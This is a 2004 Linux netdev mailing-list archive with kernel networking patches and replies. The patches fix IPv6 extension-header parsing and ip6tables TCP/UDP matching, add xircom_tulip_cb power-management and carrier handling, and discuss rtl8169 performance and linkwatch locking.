by inet-tsb.toshiba.co.jp with ESMTP id i1K5YRMH010460; Fri, 20 Feb 2004 14:34:27 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id i1K5YRQR005248; Fri, 20 Feb 2004 14:34:27 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id QAA05246 ; Fri, 20 Feb 2004 14:34:27 +0900 Received: from mx4.toshiba.co.jp by tis2.tis.toshiba.co.jp id OAA24839; Fri, 20 Feb 2004 14:34:26 +0900 (JST) Received: by toshiba.co.jp id OAA04081; Fri, 20 Feb 2004 14:34:25 +0900 (JST) Date: Fri, 20 Feb 2004 14:33:59 +0900 (JST) Message-Id: <200402200534.OAA04081@toshiba.co.jp> To: netdev@oss.sgi.com Cc: netfilter-devel@lists.netfilter.org, usagi-core@linux-ipv6.org Subject: [PATCH]: ipv6_skip_exthdr() may refer invalid memory area From: Yasuyuki Kozakai X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Feb_20_14:33:59_2004_524)--" Content-Transfer-Encoding: 7bit X-archive-position: 3435 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev ----Next_Part(Fri_Feb_20_14:33:59_2004_524)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, ipv6_skip_exthdr() refer invalid memory area in the case that packet includes Fragment Header. please apply this patch. Regards, ----------------------------------------------------------------- Yasuyuki KOZAKAI @ USAGI Project ----Next_Part(Fri_Feb_20_14:33:59_2004_524)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="linux-2.6.3-skip-exthdr.patch" diff -Nur linux-2.6.3/net/ipv6/exthdrs.c linux-2.6.3-fixed/net/ipv6/exthdrs.c --- linux-2.6.3/net/ipv6/exthdrs.c 2004-02-18 12:57:13.000000000 +0900 +++ linux-2.6.3-fixed/net/ipv6/exthdrs.c 2004-02-19 18:04:59.000000000 +0900 @@ -709,8 +709,16 @@ if (skb_copy_bits(skb, start, &hdr, sizeof(hdr))) BUG(); if (nexthdr == NEXTHDR_FRAGMENT) { - struct frag_hdr *fhdr = (struct frag_hdr *) &hdr; - if (ntohs(fhdr->frag_off) & ~0x7) + unsigned short frag_off; + if (skb_copy_bits(skb, + start+offsetof(struct frag_hdr, + frag_off), + &frag_off, + sizeof(frag_off))) { + return -1; + } + + if (ntohs(frag_off) & ~0x7) break; hdrlen = 8; } else if (nexthdr == NEXTHDR_AUTH) ----Next_Part(Fri_Feb_20_14:33:59_2004_524)---- From yasuyuki.kozakai@toshiba.co.jp Thu Feb 19 22:13:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 22:13:55 -0800 (PST) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K6DZKO022464 for ; Thu, 19 Feb 2004 22:13:39 -0800 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id i1K6DNMH009059; Fri, 20 Feb 2004 15:13:23 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id i1K6DNRF002696; Fri, 20 Feb 2004 15:13:23 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id RAA02691 ; Fri, 20 Feb 2004 15:13:23 +0900 Received: from mx.toshiba.co.jp by tis2.tis.toshiba.co.jp id PAA29667; Fri, 20 Feb 2004 15:13:22 +0900 (JST) Received: by toshiba.co.jp id PAA12001; Fri, 20 Feb 2004 15:12:44 +0900 (JST) Date: Fri, 20 Feb 2004 15:12:17 +0900 (JST) Message-Id: <200402200612.PAA12001@toshiba.co.jp> To: netfilter-devel@lists.netfilter.org Cc: netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: invaild TCP/UDP matching when ipv6 extension header exists From: Yasuyuki Kozakai In-Reply-To: <200401310649.PAA00050@toshiba.co.jp> References: <200401310649.PAA00050@toshiba.co.jp> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Feb_20_15:12:17_2004_531)--" Content-Transfer-Encoding: 7bit X-archive-position: 3436 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev ----Next_Part(Fri_Feb_20_15:12:17_2004_531)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I sent the patch which fixes this bug to netfilter-devel, but it include other bug... sorry, I rewrite patch for ip6_tables.c . Please don't forget apply the patch which fixes the bug in ipv6_skip_exthdr() before you tests this patch. I sent it last few minutes to netdev and netfilter-devel. Regards, ----------------------------------------------------------------- Yasuyuki KOZAKAI @ USAGI Project From: Yasuyuki Kozakai Subject: [PATCH]: invaild TCP/UDP matching when ipv6 extension header exists Date: Sat, 31 Jan 2004 15:49:32 +0900 (JST) > Hi, > > tcp_match() and udp_match() in ip6tables.c assume that previous header > of TCP/UDP header is IPv6 Header. So, for example, 1st of fragmented UDP > packet, AHed packets can't correctly match the rules which use > "--sport" and so on. > > This patch use ipv6_skip_exthdr() . But this function has the bug which > access invalid memory area when found Fragment Header. > So this patch includes the change for that, too. > > Regards, ----Next_Part(Fri_Feb_20_15:12:17_2004_531)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="tcp-udp.patch" diff -Nur linux-2.6.3/net/ipv6/ipv6_syms.c linux-2.6.3-fixed/net/ipv6/ipv6_syms.c --- linux-2.6.3/net/ipv6/ipv6_syms.c 2004-02-18 12:58:48.000000000 +0900 +++ linux-2.6.3-fixed/net/ipv6/ipv6_syms.c 2004-02-19 19:11:12.000000000 +0900 @@ -46,3 +46,4 @@ EXPORT_SYMBOL(ip6_flush_pending_frames); EXPORT_SYMBOL(ip6_push_pending_frames); EXPORT_SYMBOL(ipv6_push_nfrag_opts); +EXPORT_SYMBOL(ipv6_skip_exthdr); diff -Nur linux-2.6.3/net/ipv6/netfilter/ip6_tables.c linux-2.6.3-fixed/net/ipv6/netfilter/ip6_tables.c --- linux-2.6.3/net/ipv6/netfilter/ip6_tables.c 2004-02-18 12:59:22.000000000 +0900 +++ linux-2.6.3-fixed/net/ipv6/netfilter/ip6_tables.c 2004-02-20 12:39:48.155754688 +0900 @@ -1570,8 +1570,10 @@ u_int16_t datalen, int *hotdrop) { - const struct tcphdr *tcp = hdr; + const struct tcphdr *tcp; const struct ip6t_tcp *tcpinfo = matchinfo; + int tcpoff; + u8 nexthdr = skb->nh.ipv6h->nexthdr; /* To quote Alan: @@ -1592,6 +1594,24 @@ return 0; } + tcpoff = (u8*)(skb->nh.ipv6h + 1) - skb->data; + tcpoff = ipv6_skip_exthdr(skb, tcpoff, &nexthdr, skb->len - tcpoff); + if (tcpoff < 0 || tcpoff > skb->len) { + duprintf("tcp_match: cannot skip exthdr. Dropping.\n"); + *hotdrop = 1; + return 0; + } else if (nexthdr == IPPROTO_FRAGMENT) + return 0; + else if (nexthdr != IPPROTO_TCP || + skb->len - tcpoff < sizeof(struct tcphdr)) { + /* cannot be occured */ + duprintf("tcp_match: cannot get TCP header. Dropping.\n"); + *hotdrop = 1; + return 0; + } + + tcp = (struct tcphdr *)(skb->data + tcpoff); + /* FIXME: Try tcp doff >> packet len against various stacks --RR */ #define FWINVTCP(bool,invflg) ((bool) ^ !!(tcpinfo->invflags & invflg)) @@ -1642,8 +1662,10 @@ u_int16_t datalen, int *hotdrop) { - const struct udphdr *udp = hdr; + const struct udphdr *udp; const struct ip6t_udp *udpinfo = matchinfo; + int udpoff; + u8 nexthdr = skb->nh.ipv6h->nexthdr; if (offset == 0 && datalen < sizeof(struct udphdr)) { /* We've been asked to examine this packet, and we @@ -1653,6 +1675,23 @@ return 0; } + udpoff = (u8*)(skb->nh.ipv6h + 1) - skb->data; + udpoff = ipv6_skip_exthdr(skb, udpoff, &nexthdr, skb->len - udpoff); + if (udpoff < 0 || udpoff > skb->len) { + duprintf("udp_match: cannot skip exthdr. Dropping.\n"); + *hotdrop = 1; + return 0; + } else if (nexthdr == IPPROTO_FRAGMENT) + return 0; + else if (nexthdr != IPPROTO_UDP || + skb->len - udpoff < sizeof(struct udphdr)) { + duprintf("udp_match: cannot get UDP header. Dropping.\n"); + *hotdrop = 1; + return 0; + } + + udp = (struct udphdr *)(skb->data + udpoff); + /* Must not be a fragment. */ return !offset && port_match(udpinfo->spts[0], udpinfo->spts[1], ----Next_Part(Fri_Feb_20_15:12:17_2004_531)---- From davem@redhat.com Thu Feb 19 22:22:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 22:23:01 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K6MvKO022902 for ; Thu, 19 Feb 2004 22:22:57 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1K6Msb23910; Fri, 20 Feb 2004 01:22:54 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1K6Msi03429; Fri, 20 Feb 2004 01:22:54 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1K6MokC022766; Fri, 20 Feb 2004 01:22:50 -0500 Date: Thu, 19 Feb 2004 22:22:53 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com Subject: Re: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... Message-Id: <20040219222253.082458cf.davem@redhat.com> In-Reply-To: <1077201499.18703.381.camel@hades.cambridge.redhat.com> References: <1077201499.18703.381.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3437 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 14:38:20 +0000 David Woodhouse wrote: > Putting IPv6 before IPv4 in net/Makefile fixes it, letting it IPv6 > register its notifiers before the IPv4 ipconfig code brings up the > interface. > > Objections? No objection. Send me a patch. If at some point we create some initialization dependency between ipv4 and ipv6 (f.e. ipv6 init needs some ipv4 table setup) we will need to tread carefully to keep this from breaking. I did a quick audit and no such dependency exists now, so we can put in the change without breaking anything. From degger@fhm.edu Fri Feb 20 06:10:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 06:10:57 -0800 (PST) Received: from karin.de.interearth.com (D71a0.d.pppool.de [80.184.113.160]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KEAfKO007357 for ; Fri, 20 Feb 2004 06:10:42 -0800 Received: from [192.168.11.8] (lucy [192.168.11.8]) by karin.de.interearth.com (Postfix) with ESMTP id 9E18C4751; Fri, 20 Feb 2004 13:13:30 +0100 (CET) In-Reply-To: <20040125230753.A20686@electric-eye.fr.zoreil.com> References: <1075059124.13750.38.camel@sonja> <20040125230753.A20686@electric-eye.fr.zoreil.com> Mime-Version: 1.0 (Apple Message framework v612) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-10-187666238" Message-Id: Content-Transfer-Encoding: 7bit Cc: netdev@oss.sgi.com, Linux Kernel Mailinglist , Jeff Garzik From: Daniel Egger Subject: Re: [PATCH] Re: rtl8169 problem and 2.4.23 Date: Fri, 20 Feb 2004 13:11:53 +0100 To: Francois Romieu X-Pgp-Agent: GPGMail 1.0.1 (v33, 10.3) X-Mailer: Apple Mail (2.612) X-archive-position: 3438 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: degger@fhm.edu Precedence: bulk X-list: netdev --Apple-Mail-10-187666238 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On Jan 25, 2004, at 11:07 pm, Francois Romieu wrote: > Try the patch above. If it compiles, it should fix the stats and you > get a > bugfix as an extra. Sorry for the delay. I've not had the chance to recompile the kernel for my fileserver and restart it, yet. But in the meantime I've received another card with RTL8169S and tried it in a different machine. The current driver in 2.4.24 and 2.6.3 will lock up the box in almost no time when under load (not a real kernel lockup but a soft one because the machine is running over NFS and the driver seems to lose packets and then rejects to transfer more). Your patch fixes this problem and the counter issue for both 2.4.24 and 2.6.3, so it probably should go in ASAP. However there's another thing bugging me: abysmal performance. In both a switched and a direct environment the best I could get using netio was 10MB/s send and 21MB/s receive, using NFS I get just under 10MB/s, this is slower than with a 8139 el cheapo 100Mbit card. The netio results are illogical anyway because the other side is the fileserver, which has the same card, so if one end receives 21MB/s the other end has to send equally as fast, no? :) The CPU utilization was almost zero on server and client (both Athlon XP). Servus, Daniel --Apple-Mail-10-187666238 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iQEVAwUBQDX5ijBkNMiD99JrAQJVGAf/eRBGDLzhkGOwtxJj/s++N9yQqZjbiQhU A/D7aIYg/rNuV6/egaxjDsImhluSq8LZEjVr7YAKq9tYBNsmY+ENdazxexCzdDdF PxoQ7T4ZhXNa0b3mPhQmFlCGXcUeQcomoT3Ux8+N8jZ58UaUOWzp7BJxXf/40aHW hQuG4z2zK3khM3Aakr6MJZY7iJzwXDnalm8UzKZ2A5qXReXKizu/rCJx91PX0AYK V+jb4I34cTfSa4Og1s6yFosO7ea2P/yVPMx2d0JV79ypwMsGATTJD9vfV7Iz2OJM +P5UbwXx5mkyg42HrfZoU8ZMN3ZHrR+9T1uVJQ/BANQyWcdse+DvPw== =NlSC -----END PGP SIGNATURE----- --Apple-Mail-10-187666238-- From srompf@isg.de Fri Feb 20 08:21:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 08:21:34 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KGLUKO012960 for ; Fri, 20 Feb 2004 08:21:31 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id 8578B17228E6; Fri, 20 Feb 2004 17:21:24 +0100 (CET) From: Stefan Rompf To: Jeff Garzik Subject: Re: Patch: netif_carrier_on()/off() for xircom_tulip_cb Date: Fri, 20 Feb 2004 17:21:24 +0100 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com References: <200402151504.22648.srompf@isg.de> <4033FAF6.2090200@pobox.com> In-Reply-To: <4033FAF6.2090200@pobox.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_EQjNA7alc3Y2zQJ" Message-Id: <200402201721.24047.srompf@isg.de> X-archive-position: 3439 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_EQjNA7alc3Y2zQJ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, > Please resend patches that may be applied with "patch -p1", > not "patch -p0". ok., here's the first, suspend/resume --Boundary-00=_EQjNA7alc3Y2zQJ Content-Type: text/x-diff; charset="iso-8859-1"; name="xircom_tulip_cb_pm.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xircom_tulip_cb_pm.diff" --- jeffdir/drivers/net/tulip/xircom_tulip_cb.c.old 2004-02-14 14:33:03.000000000 +0100 +++ jeffdir/drivers/net/tulip/xircom_tulip_cb.c 2004-02-15 13:07:49.000000000 +0100 @@ -329,6 +329,9 @@ struct xircom_private { int saved_if_port; struct pci_dev *pdev; spinlock_t lock; +#ifdef CONFIG_PM + u32 pci_state[16]; +#endif }; static int mdio_read(struct net_device *dev, int phy_id, int location); @@ -749,6 +752,7 @@ xircom_up(struct net_device *dev) long ioaddr = dev->base_addr; int i; + xircom_init_ring(dev); /* Clear the tx ring */ for (i = 0; i < TX_RING_SIZE; i++) { tp->tx_skbuff[i] = 0; @@ -801,8 +805,6 @@ xircom_open(struct net_device *dev) if (request_irq(dev->irq, &xircom_interrupt, SA_SHIRQ, dev->name, dev)) return -EAGAIN; - xircom_init_ring(dev); - xircom_up(dev); tp->open = 1; @@ -1668,6 +1670,11 @@ static int xircom_suspend(struct pci_dev printk(KERN_INFO "xircom_suspend(%s)\n", dev->name); if (tp->open) xircom_down(dev); + + pci_save_state(pdev, tp->pci_state); + pci_disable_device(pdev); + pci_set_power_state(pdev, 3); + return 0; } @@ -1678,6 +1685,10 @@ static int xircom_resume(struct pci_dev struct xircom_private *tp = dev->priv; printk(KERN_INFO "xircom_resume(%s)\n", dev->name); + pci_set_power_state(pdev,0); + pci_enable_device(pdev); + pci_restore_state(pdev, tp->pci_state); + /* Bring the chip out of sleep mode. Caution: Snooze mode does not work with some boards! */ if (xircom_tbl[tp->chip_id].flags & HAS_ACPI) --Boundary-00=_EQjNA7alc3Y2zQJ-- From srompf@isg.de Fri Feb 20 08:21:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 08:21:55 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KGLpKO013022 for ; Fri, 20 Feb 2004 08:21:52 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id 72B2D17228DC; Fri, 20 Feb 2004 17:21:46 +0100 (CET) From: Stefan Rompf To: Jeff Garzik Subject: Re: Patch: netif_carrier_on()/off() for xircom_tulip_cb Date: Fri, 20 Feb 2004 17:21:46 +0100 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com References: <200402151504.22648.srompf@isg.de> <4033FAF6.2090200@pobox.com> In-Reply-To: <4033FAF6.2090200@pobox.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200402201721.46202.srompf@isg.de> X-archive-position: 3440 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev > Please resend patches that may be applied with "patch -p1", > not "patch -p0". and here the netif_carrier stuff From srompf@isg.de Fri Feb 20 08:23:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 08:23:10 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KGN6KO013328 for ; Fri, 20 Feb 2004 08:23:06 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id 2CBF51722683; Fri, 20 Feb 2004 17:23:01 +0100 (CET) From: Stefan Rompf To: Jeff Garzik Subject: Re: Patch: netif_carrier_on()/off() for xircom_tulip_cb Date: Fri, 20 Feb 2004 17:23:00 +0100 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com References: <200402151504.22648.srompf@isg.de> <4033FAF6.2090200@pobox.com> In-Reply-To: <4033FAF6.2090200@pobox.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_kRjNAdW11XyFew3" Message-Id: <200402201723.00916.srompf@isg.de> X-archive-position: 3441 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_kRjNAdW11XyFew3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline > Please resend patches that may be applied with "patch -p1", > not "patch -p0". and here the netif_carrier-stuff, this time with attachment. Stefan --Boundary-00=_kRjNAdW11XyFew3 Content-Type: text/x-diff; charset="iso-8859-1"; name="xircom_tulip_cb_lw.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xircom_tulip_cb_lw.diff" --- jeffdir/drivers/net/tulip/xircom_tulip_cb.c.pm 2004-02-15 13:07:49.000000000 +0100 +++ jeffdir/drivers/net/tulip/xircom_tulip_cb.c 2004-02-15 13:58:06.000000000 +0100 @@ -343,6 +343,7 @@ static void xircom_tx_timeout(struct net static void xircom_init_ring(struct net_device *dev); static int xircom_start_xmit(struct sk_buff *skb, struct net_device *dev); static int xircom_rx(struct net_device *dev); +static void xircom_media_change(struct net_device *dev); static irqreturn_t xircom_interrupt(int irq, void *dev_instance, struct pt_regs *regs); static int xircom_close(struct net_device *dev); static struct net_device_stats *xircom_get_stats(struct net_device *dev); @@ -789,6 +790,9 @@ xircom_up(struct net_device *dev) /* Tell the net layer we're ready */ netif_start_queue (dev); + /* Check current media state */ + xircom_media_change(dev); + if (xircom_debug > 2) { printk(KERN_DEBUG "%s: Done xircom_up(), CSR0 %8.8x, CSR5 %8.8x CSR6 %8.8x.\n", dev->name, inl(ioaddr + CSR0), inl(ioaddr + CSR5), @@ -1013,6 +1017,7 @@ static void xircom_media_change(struct n dev->name, tp->speed100 ? "100" : "10", tp->full_duplex ? "full" : "half"); + netif_carrier_on(dev); newcsr6 = csr6 & ~FullDuplexBit; if (tp->full_duplex) newcsr6 |= FullDuplexBit; @@ -1020,6 +1025,7 @@ static void xircom_media_change(struct n outl_CSR6(newcsr6, ioaddr + CSR6); } else { printk(KERN_DEBUG "%s: Link is down\n", dev->name); + netif_carrier_off(dev); } } --Boundary-00=_kRjNAdW11XyFew3-- From srompf@isg.de Fri Feb 20 08:44:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 08:44:37 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KGiTKO014313 for ; Fri, 20 Feb 2004 08:44:29 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id AA19A17226E8; Fri, 20 Feb 2004 17:44:21 +0100 (CET) From: Stefan Rompf To: "David S. Miller" Subject: Re: Patch: Make linkwatch more robust against rtnl holders Date: Fri, 20 Feb 2004 17:44:21 +0100 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com References: <200402151511.49432.srompf@isg.de> <20040218171159.62e76670.davem@redhat.com> In-Reply-To: <20040218171159.62e76670.davem@redhat.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200402201744.21348.srompf@isg.de> X-archive-position: 3442 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev Hi David, > > the attached patch updates the linkwatch code so that it backs off and > > retries whenever it cannot get the rtnl semaphore. > > I think we should fix locking conflicts created by things like what > the sungem driver is doing instead. On the other hand, I'm not aware of any convention when flush_scheduled_work() is allowed to be called. As long as anyone inside kernel space is can schedule work and anyone else can wait for completion, it does not hurt to make a schedule task less vulnerable to deadlocks. Stefan From davem@redhat.com Fri Feb 20 09:30:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 09:30:38 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KHUVKO015131 for ; Fri, 20 Feb 2004 09:30:32 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHUSb05693; Fri, 20 Feb 2004 12:30:28 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHUSi15325; Fri, 20 Feb 2004 12:30:28 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KHUOkC020938; Fri, 20 Feb 2004 12:30:24 -0500 Date: Fri, 20 Feb 2004 09:30:27 -0800 From: "David S. Miller" To: Yasuyuki Kozakai Cc: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: ipv6_skip_exthdr() may refer invalid memory area Message-Id: <20040220093027.2c03f48c.davem@redhat.com> In-Reply-To: <200402200534.OAA04081@toshiba.co.jp> References: <200402200534.OAA04081@toshiba.co.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3443 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 14:33:59 +0900 (JST) Yasuyuki Kozakai wrote: > ipv6_skip_exthdr() refer invalid memory area in the case > that packet includes Fragment Header. > > please apply this patch. Applied, thank you Yasuyuki-san. From davem@redhat.com Fri Feb 20 09:32:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 09:32:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KHW5KO015317 for ; Fri, 20 Feb 2004 09:32:05 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHW0b06464; Fri, 20 Feb 2004 12:32:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHW0i16049; Fri, 20 Feb 2004 12:32:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KHVtkC021884; Fri, 20 Feb 2004 12:31:55 -0500 Date: Fri, 20 Feb 2004 09:31:58 -0800 From: "David S. Miller" To: Yasuyuki Kozakai Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: invaild TCP/UDP matching when ipv6 extension header exists Message-Id: <20040220093158.3c12ea9a.davem@redhat.com> In-Reply-To: <200402200612.PAA12001@toshiba.co.jp> References: <200401310649.PAA00050@toshiba.co.jp> <200402200612.PAA12001@toshiba.co.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3444 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 15:12:17 +0900 (JST) Yasuyuki Kozakai wrote: > I sent the patch which fixes this bug to netfilter-devel, but it include > other bug... sorry, I rewrite patch for ip6_tables.c . > > Please don't forget apply the patch which fixes the bug in ipv6_skip_exthdr() > before you tests this patch. I sent it last few minutes to netdev and > netfilter-devel. I have applied this patch too, thanks a lot. From davem@redhat.com Fri Feb 20 09:41:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 09:41:33 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with 